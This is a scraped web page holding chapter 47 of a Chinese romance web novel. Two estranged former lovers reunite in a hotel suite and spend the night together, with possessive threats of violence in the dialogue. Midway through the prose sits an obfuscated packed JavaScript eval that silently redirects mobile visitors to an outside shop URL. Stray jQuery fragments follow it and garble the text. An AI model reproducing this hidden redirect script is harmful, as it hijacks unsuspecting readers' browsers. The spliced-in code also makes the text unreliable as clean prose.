文趣网 > 都市小说 > 边境恋人 > 47.第 47 章
    --跟我回酒店吗?

    顾月问得直白,声音清冷,身上还穿着紫色伴娘裙,晚风拂过她些许疲惫的眉眼,极致的清纯迷人。

    这显而易见的邀约,让已经为贺希打开车门的司机都瞠目结舌。

    贺希的私人司机,清楚顾月的身份,知道两人在公司水火不容,也听说过贺希已婚的传言。

    “你的车已经到了。”男人神色阴沉,绷着下颚完全不为所动,用眼神示意停在顾月身后的车。

    年少的贺希在酒吧就收到过无数次的邀约,他从不心动,这一次也没有例外。

    贺希不可能还爱着她,顾月的结论。

    前几天在酒吧里,伊芙说贺希还喜欢她。不对,伊芙用的是爱,这个很严重的字眼,说他所做的一切疯狂的事,都是在告诉顾月他还爱她,看来伊芙是错的。

    顾月坐进车里回了酒店。

    脱下伴娘裙径直走进浴室,温水落在她肩头,一天下来婚礼让她太疲惫了。

    清晨做伴娘妆造时,伊芙给她喷了香水,顾月很喜欢,洗完澡换上睡裙,身上还残留着淡淡的茉莉香气。

    --顾月这个人,第一眼看上去给人以清纯温柔,但眼神过于沉静,性格完全与外表背道而驰,清冷淡漠,可是接触久了又觉得,其实她是温暖的。

    伊芙当年给顾月评价,还说和风茉莉这款香水很衬她。

    从浴室出来,手机上有条新信息,没有备注名字的号码。

    【房间号?】

    简明扼要。发送时间,与她离开婚礼庄园的时间几乎吻合。

    心间轻轻一颤,低眸看着,不自觉轻咬唇角,半湿的头发滴着水,水珠顺着锁骨滑入心口。

    正准备回消息就听到有人敲门,眼睫骤然抬起。

    顾月披了外套往外走。

    她的房间是奢华套房,从卧室到客厅,手工地毯踩在上面发不出一丝声音。

    顾月开了门。

    门外的男人带着一身朦胧夜色,神情严肃,不像来赴一场约会,看她的眼神带着审视深究意味,仿佛认定了她这个人不做好事。

    在他心里,顾月的本质是个恶劣的女人。

    宴会残留的酒气,身上还是那套得体的黑色窄身西服,他不再是少年,而是一个成熟的年轻男人。

    “叫我来有事?”关上房门后他倾身靠近,还是那么严肃,给人以十足压迫感。

    玄关的灯很暗。

    --贺希变成现在这样阴鸷的疯子,顾月你要负全部责任。

    --他徒手爬进二楼公寓救你,找不到你,他不肯走。

    --他对你是真心的,而你没有动过心。

    --你只是贪恋他年轻美好、肉、体。

    男人的目光落在了她的锁骨,细颈间残留水珠,她的肌肤晶莹剔透。

    抬眸看她,眼神直勾勾地对视着,耳边是彼此的气息,六年前的那个少年在审视她,不对,应该说是审判,幽深眼底盘桓着憎恨。

    同一个城市,同一个地方,他们曾在这里热吻。

    下一个瞬间,顾月主动伸出手臂主动勾住了贺希的脖颈,唇印在了他的唇。

    瞬间回应她的是天雷勾火的吻。

    “唔!”

    纤弱脊背被迫压在玄关墙上,蝴蝶骨生疼。

    谁也没料到对方会出现在这场婚礼上,正如这个吻在意料之外。

    明明怨气冲天,这一刹那身体自然地贴近。

    欲望这种东西,顾月很少,特别是这六年间。但在今夜看到贺希的第一眼就蠢蠢欲动,站在庄园门口,昏暗灯光衬得男人太惹眼太迷人了,她先生出了坏念头。

    “我不会放过宋章,你说什么都没用。”唇瓣分开时,男人低低地喘着粗气,凌厉的眼神里充斥着谴责意味。

    灯光昏暗,顾月气息凌乱,直勾勾的与他对视。

    “你不就是报复我,当初把你甩了你么?”

    顾月眼底氤氲水汽,直至今日,她才彻底明白他有多恨她,六年后出现在她面前,就是为了报复她。

    “顾月,是你先背叛的。”贺希沉声斥责她,唇角与她近在咫尺。

    伪装这么久,今天终于说出实话了。贺希不一定还爱她,但他一定深深地恨她。

    “唔!”

    下一瞬男人再度俯身吻她。

    六年前他对她的爱意最浓烈的时候,也没有如此激烈的吻,两人的气息完全紊乱了。

    灯光映照出男人桀骜不驯的脸,褪去了少年气息,整个人变得刀刻般凌厉。

    “叫我来酒店,是这个意思么?”他喘着气问她,眼底防备。

    他在确认,确认这不是她一时兴起的戏弄。

    毕竟这不是顾月第一次做这样的事,她在六年前有案底,这个恶劣的女人,她惯会玩弄人心,把人耍得团团转,然后抽身走人,什么都不管。

    “你不想吗?”顾月反问,她这个人清清静静的,却能轻易撩拨他。

    “我不会放弃股权,我要彻底掌控同梦。”他咬着牙郑重申明,语气很凶。

    明明一双粗粝手掌已经要掐断顾月的臂。

    他的眼睛比他的嘴更诚实,念想肆虐,却仍极力克制。

    顾月眸光垂下,她其实从来不是一个遵守规则的人,“你今天穿这身衣服很好看。”

    白色衬衫,出自她当年买给他的牌子,黑色西服也是,还有黑色领结,与口袋白色帕子,混混少年成了个西装革履的绅士。

    勾缠住男人脖颈的手往下,指尖滑进他的西服。

    只主动了这么一下,撩拨起火,后面的事情就失控了。

    在一切事情都没解决的时候,身比心更诚实地靠近彼此。

    他拦腰抱起她,边走边吻。

    套房的床很高很软,铺着丝绒床罩。

    顾月被迫陷入其中,她身段纤柔但绝对不瘦,是骨肉均停的美,皮肤白得像牛奶,对于他是致命诱惑。

    卧室的灯很暗,床头只亮着一盏水晶灯。

    窗外是远处庄园的烟火,远不及六年前他为她绽放的那一场,那时的边境少年单纯、专情、好骗。

    但此刻窗外的一切喧嚣都与他们无关。

    “顾月,你要是中途反悔,今晚我和你都会死在这里。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17901855|209060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    彻底失控之前,贺希咬牙切齿地警告她。

    顾月指尖一粒一粒解开他的衬衫扣子,正如六年前她做过的那样。

    那是一具成熟男人的躯体,比少年时更迷人。

    她的指尖划过男人脊背,相比六年前的薄肌,如今的肌肉更紧实,沿着脊椎再往下......疤痕虬结的触感,光是触碰就已经让人惊心动魄,她指尖像是被烫了一下。

    顾月从铺天盖地的吻里挣脱出来,“......这是什么?”

    贺希身躯明显一震,他比任何人知道自己后背有多丑陋。

    “你不需要知道。”完全冷漠的语气,不符合他此刻火燎般热情的行为。他从不允许任何人提起这满背的伤,包括他自己。

    ......

    顾月明明是那么清冷的性格。

    然而她的每一个动作,每一句话,每一个眼神,甚至于每一次气息,哪怕指尖轻轻划过他的眉眼,对于男人来说都是致命迷药。

    六年间数千个夜晚对她放肆的幻想,也不及亲眼所见,顾月美得让人神魂颠倒。

    深色丝绸床罩衬得她肌肤如牛奶般雪白,她乌发铺陈开来,清纯脸上沾染了淡淡欲念。

    庄园门口,那一句轻声的撩拨,简直让人发疯要人命。

    “姐姐......”

    “姐姐......”

    “顾月,你还想听么?嗯?”

    他的唇覆在她颈窝,一边吻她一边轻喃,声音沙哑得不像话,像是迷魂的咒语一般,顾月推都推不开。

    顾月知道他故意的!就因为她在庄园门口撩拨他,问他最近怎么不叫姐姐了。

    之后的一整个夜晚,耳边只有男人的气息。

    顾月自认没有出格,他们只是做着他们六年前就该做的事。

    他放肆至极,而她任由他,指尖一遍一遍划过那崎岖丑陋的疤痕,她都不知道,他受过这么严重的伤。

    顾月也不知今夜自己的心理,是愧疚?是补偿?还是情不自禁?

    可她没有空隙去思考这个问题,男人太强势,是一头饿了许久的狼,吃了这一口怕没有下一口,拼了命地掠夺她的一切。

    从起初的温柔到无法承接的海浪。

    她想喊停,可是睁开眼眸看到的是男人腹间的伤疤,触目惊心,那是他少年时为他受过的伤。

    --姐姐,我抓住雨鬼了!

    --姐姐,我厉不厉害?

    --姐姐,你再也不用害怕了。

    他知道她看到了,毫不避讳地展现他丑陋的疤痕,眉眼间凌厉又邪气,仿佛这是他的勋章。

    这些年有人无数次劝他手术,可他就是要留着,留着给她看。

    男人在无声的谴责她,他为她受过很多次伤,而她却轻易地抛弃了他。

    “怎么了?姐姐。”他坏,明知故问,就是要让她愧疚,他好得寸进尺,现在叫他停,他就会把她扼死,再与她同归于尽。

    所幸顾月的手臂只能再一次缠上贺希,在这样一个浪漫的夜晚,纵容着他。

    这一夜,爱与恨都到了极致,爱恨交织,欲罢不能。